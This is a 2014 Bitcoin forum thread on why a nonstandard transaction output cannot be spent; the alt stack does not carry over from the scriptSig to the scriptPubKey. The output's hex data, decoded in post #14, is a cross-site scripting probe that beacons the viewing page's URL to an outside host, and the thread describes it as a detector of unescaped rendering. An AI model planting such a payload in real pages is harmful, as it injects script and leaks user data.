Bitcoin Forum
May 01, 2024, 11:39:05 PM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Pages: [1] 2 »  All
  Print  
Author Topic: Is this transaction spendable?  (Read 5120 times)
TimS (OP)
Sr. Member
****
Offline Offline

Activity: 250
Merit: 253


View Profile WWW
July 19, 2014, 10:17:43 PM
Last edit: July 21, 2014, 10:22:19 PM by TimS
 #1

https://blockchain.info/tx/4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af has the following output:
Code:
OP_ADD OP_ADD OP_13 OP_EQUAL
OP_NOTIF OP_RETURN OP_ENDIF
OP_FROMALTSTACK
203c73637269707420747970653d27746578742f6a617661736372697074273e646f63756d656e742e777269746528273c696d67207372633d27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d626c6f636b636861696e2d6465746563746f722e7068703f687265663d27202b206c6f636174696f6e2e68726566202b2027273e27293b3c2f7363726970743e20
OP_DROP
I think this script should be able to spend it:
Code:
OP_TRUE OP_TOALTSTACK
2 5 6

Entering the scripts at http://webbtc.com/script seems to agree with me. I formed this transaction to spend it and another anyone-spend, but it's being rejected by Eligius (despite including a suitable tx fee).
Here it is in raw format
Code:
01000000026086d0c41c0cc79bbf888a74b324cd4c5f1111413899d6fb3daf62a6cb737dce010000000151ffffffffaf73ff160d0434f1d8da871552ba06b1c24af1e91b494b2f4cbe25457eb973430000000005516b525556ffffffff0100380200000000001976a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac00000000
And in Bitcoin Core's JSON encoding
Code:
{
    "txid": "30684e2958af4b5c87b316d54b1a1f011883d1287f3aea6ff2d058b179f1dae9",
    "version": 1,
    "locktime": 0,
    "vin": [
        {
            "txid": "ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660",
            "vout": 1,
            "scriptSig": {
                "asm": "1",
                "hex": "51"
            },
            "sequence": 4294967295
        },
        {
            "txid": "4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af",
            "vout": 0,
            "scriptSig": {
                "asm": "1 OP_TOALTSTACK 2 5 6",
                "hex": "516b525556"
            },
            "sequence": 4294967295
        }
    ],
    "vout": [
        {
            "value": 0.00145408,
            "n": 0,
            "scriptPubKey": {
                "asm": "OP_DUP OP_HASH160 cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f2 OP_EQUALVERIFY OP_CHECKSIG",
                "hex": "76a914cb1f2f015ddbe2aeffceb1652b26ee424fd0c2f288ac",
                "reqSigs": 1,
                "type": "pubkeyhash",
                "addresses": [
                    "1KX1Xcnw3Ugzka9DxbCqT8iD73iPvpcPgu"
                ]
            }
        }
    ]
}

Is this transaction valid or invalid? If it's valid, why does Eligius reject it? Is there any pool that will take it? If it's invalid, why?
1714606745
Hero Member
*
Offline Offline

Posts: 1714606745

View Profile Personal Message (Offline)

Ignore
1714606745
Reply with quote  #2

1714606745
Report to moderator
"The nature of Bitcoin is such that once version 0.1 was released, the core design was set in stone for the rest of its lifetime." -- Satoshi
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
1714606745
Hero Member
*
Offline Offline

Posts: 1714606745

View Profile Personal Message (Offline)

Ignore
1714606745
Reply with quote  #2

1714606745
Report to moderator
theymos
Administrator
Legendary
*
Offline Offline

Activity: 5194
Merit: 12908


View Profile
July 20, 2014, 01:09:02 AM
 #2

I think that it's valid. Try paying a higher fee.

1NXYoJ5xU91Jp83XfVMHwwTUyZFK64BoAD
TimS (OP)
Sr. Member
****
Offline Offline

Activity: 250
Merit: 253


View Profile WWW
July 20, 2014, 01:16:12 AM
 #3

I think that it's valid. Try paying a higher fee.

That's not it: even if I reduce the output to 0 so the fee is 0.00153600 BTC, Eligius rejects it with the same generic error:

Code:
Trying to send...
array(3) {
  ["result"]=>
  NULL
  ["error"]=>
  array(2) {
    ["code"]=>
    int(-22)
    ["message"]=>
    string(11) "TX rejected"
  }
  ["id"]=>
  string(1) "1"
}
Response = 0
dontCAREhair
Member
**
Offline Offline

Activity: 119
Merit: 100


View Profile
July 20, 2014, 01:25:55 AM
 #4

Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.
rapport
Full Member
***
Offline Offline

Activity: 157
Merit: 100


View Profile
July 20, 2014, 02:56:03 AM
 #5

OP did you create the tx that you are now trying to spend?  Testnet is better to help you avoid losing btc
DeathAndTaxes
Donator
Legendary
*
Offline Offline

Activity: 1218
Merit: 1079


Gerald Davis


View Profile
July 20, 2014, 03:09:21 AM
 #6

Blockchain.info says 'Unable to decode output address' for the output address, which, in my experience means that the output address is not an address that has an associated private key, meaning it is not spendable.

There is no such thing as an output address.  Outputs are scripts and blockchain.info is pretty bad at decoding all but the most basic and standardized scripts.
amaclin
Legendary
*
Offline Offline

Activity: 1260
Merit: 1019


View Profile
July 20, 2014, 05:06:00 AM
Last edit: July 20, 2014, 06:45:46 AM by amaclin
 #7

Eligius alerady contains spending tx in its memory-pool
Double-spending attempt causes generic -22 error

UPDATE: not confirmed.
Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.
TimS (OP)
Sr. Member
****
Offline Offline

Activity: 250
Merit: 253


View Profile WWW
July 20, 2014, 12:31:52 PM
 #8

OP did you create the tx that you are now trying to spend?  Testnet is better to help you avoid losing btc
I'm aware of Testnet, though I've never bothered to do anything with it.
I created ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660, which is a simple anyone-spend script (it's zero-length) worth only 0.0001, see this thread talking about it: https://bitcointalk.org/index.php?topic=686214.0
After seeing this remained unspent for several days, I wondered if there were any other anyone-spends out there, and ran across this other tx that I'm trying to spend, worth ~1.4 mBTC=~$1. I did not create it, and I realize I'm spending more in time than I'll actually get as a reward for spending it to myself. Just doing it out of curiosity.
Eligius alerady contains spending tx in its memory-pool
Double-spending attempt causes generic -22 error

UPDATE: not confirmed.
Eligius (either web-form or 68.168.105.168:8333) does not accept this spending transaction.
Nope, not that easy: Eligius would've entered that into the blockchain by now, but both txouts are still unspent.

Does anyone know of a way to have Bitcoin Core try to validate the transaction? Maybe Eligius's validator doesn't implement the alt stack correctly.
DeathAndTaxes
Donator
Legendary
*
Offline Offline

Activity: 1218
Merit: 1079


Gerald Davis


View Profile
July 20, 2014, 04:02:18 PM
 #9

Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.
TimS (OP)
Sr. Member
****
Offline Offline

Activity: 250
Merit: 253


View Profile WWW
July 20, 2014, 06:47:21 PM
 #10

Eligius has some anti spam rules so instead of trying to create a zero value output why not add a second inputs so all the outputs are above the dust threshold and txn has the standard min fee.
I've tried various output/fee amounts (but without adding an extra input), including fees of 0.00008192, 0.0001, 0.0002, and 0.001536 (the whole amount). I'm pretty sure that I've met any tx fee and dust requirements Eligius might have, including all of the public rules at http://eligius.st/~gateway/faq-page.

I was the one that submitted https://blockchain.info/tx/ce7d73cba662af3dfbd699384111115f4ccd24b3748a88bf9bc70c1cc4d08660 to Eligius, which has a smaller total input than this transaction, and was accepted without an issue with a 0.0001 fee.

Also, this transaction is very small, at only 132 bytes, so anything that takes size as a factor should rank this very favorably.
DeathAndTaxes
Donator
Legendary
*
Offline Offline

Activity: 1218
Merit: 1079


Gerald Davis


View Profile
July 21, 2014, 04:45:33 PM
 #11

TimS,

I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius.  Unfortunately bitcoind lacks good tools for validating transactions.   Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't.  You may want to reach out to Eligius pool directly.
amaclin
Legendary
*
Offline Offline

Activity: 1260
Merit: 1019


View Profile
July 21, 2014, 05:51:12 PM
 #12

Quote
I took a closer look at the transaction and I can't find any reason why it is being rejected by Eligius.  Unfortunately bitcoind lacks good tools for validating transactions.   Optimally decoderawtransaction & decodescript would return IsStandard and IsValid parameters but they don't.  You may want to reach out to Eligius pool directly.

There is no direct connection to Eligius from Internet. We can reach only the gate node.
68.168.105.168:8333 (I think that it is gate node) also ignores redeem tx.

It is possible to download, compile and debug Luke's version of bitcoin
https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:
Yoghurt114
Newbie
*
Offline Offline

Activity: 13
Merit: 0


View Profile
July 21, 2014, 10:00:17 PM
 #13

In the code linked in the previous post, I found this (https://gitorious.org/bitcoin/luke-jr-bitcoin/source/5f8e7180c4b34d5f46c61a6dd2242f4249b5f79a:src/script.cpp#L453):

Code:
                case OP_FROMALTSTACK:
                {
                    if (altstack.size() < 1)
                        return false;
                    stack.push_back(altstacktop(-1));
                    popstack(altstack);
                }
                break;

//Edit: Wrong
Taras
Legendary
*
Offline Offline

Activity: 1386
Merit: 1053


Please do not PM me loan requests!


View Profile WWW
July 22, 2014, 10:38:03 PM
 #14

The transaction has the following metadata:
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + '\'>');</script>
Interesting...
TimS (OP)
Sr. Member
****
Offline Offline

Activity: 250
Merit: 253


View Profile WWW
July 22, 2014, 10:53:34 PM
 #15

The transaction has the following metadata:
<script type='text/javascript'>document.write('<img src=\'http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + '\'>');</script>
Interesting...
Yep, that site (which appears safe to me) explains itself:
Quote
Since the blockchain is for transaction data, the above string [script tag] should do nothing. If this text is inserted into a page without escaping, then there is potentially a XSS issue. Since some sites that allow you to view the blockchain ALSO are wallets, the security ramifications of a hole like this could be very great.
amaclin
Legendary
*
Offline Offline

Activity: 1260
Merit: 1019


View Profile
July 23, 2014, 05:18:40 PM
 #16

Code:
bool VerifyScript(const CScript& scriptSig, const CScript& scriptPubKey, const CTransaction& txTo, unsigned int nIn,
                  unsigned int flags, int nHashType)
{
    vector<vector<unsigned char> > stack, stackCopy;
    if (!EvalScript(stack, scriptSig, txTo, nIn, flags, nHashType))
        return false;
    if (flags & SCRIPT_VERIFY_P2SH)
        stackCopy = stack;
    if (!EvalScript(stack, scriptPubKey, txTo, nIn, flags, nHashType))
        return false;

Evaluating scriptSig and scriptPubKey deal with the same stack (of course, the first one is pushing, second is checking)
But they use local altStack for calculations!!!
So, it is impossible to push value with scriptSig to altStack and pop it later when processing scriptPubKey.

This output is unspendable. Coins lost.
rapport
Full Member
***
Offline Offline

Activity: 157
Merit: 100


View Profile
July 24, 2014, 07:30:51 AM
 #17

Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used?
amaclin
Legendary
*
Offline Offline

Activity: 1260
Merit: 1019


View Profile
July 24, 2014, 07:59:27 AM
Last edit: July 24, 2014, 08:21:40 AM by amaclin
 #18

Quote
Hmm do you mean OP_TOALTSTACK is broken and shouldn't be used?

It is not broken. It can be used in scriptSig and scriptPubKey for storing local values during evaluation.
But after evaluating scriptSig the contents of altstack are cleared.
The only way to pass values from scriptSig to scriptPubKey is stack not altstack.

I do not see any reason to change or even think about changing this behavior.
And I do not see any reason to use altstack right now.
rapport
Full Member
***
Offline Offline

Activity: 157
Merit: 100


View Profile
July 25, 2014, 08:26:30 AM
 #19

Good explanation, thanks!
PS  I think your English is good and better than what you probably think Smiley
poisenrang
Sr. Member
****
Offline Offline

Activity: 252
Merit: 250


View Profile
July 25, 2014, 08:12:57 PM
 #20

maybe its about the fees?

█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
▓▓▓▓▓  BIT-X.comvvvvvvvvvvvvvvi
→ CREATE ACCOUNT 
▓▓▓▓▓
█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
Pages: [1] 2 »  All
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!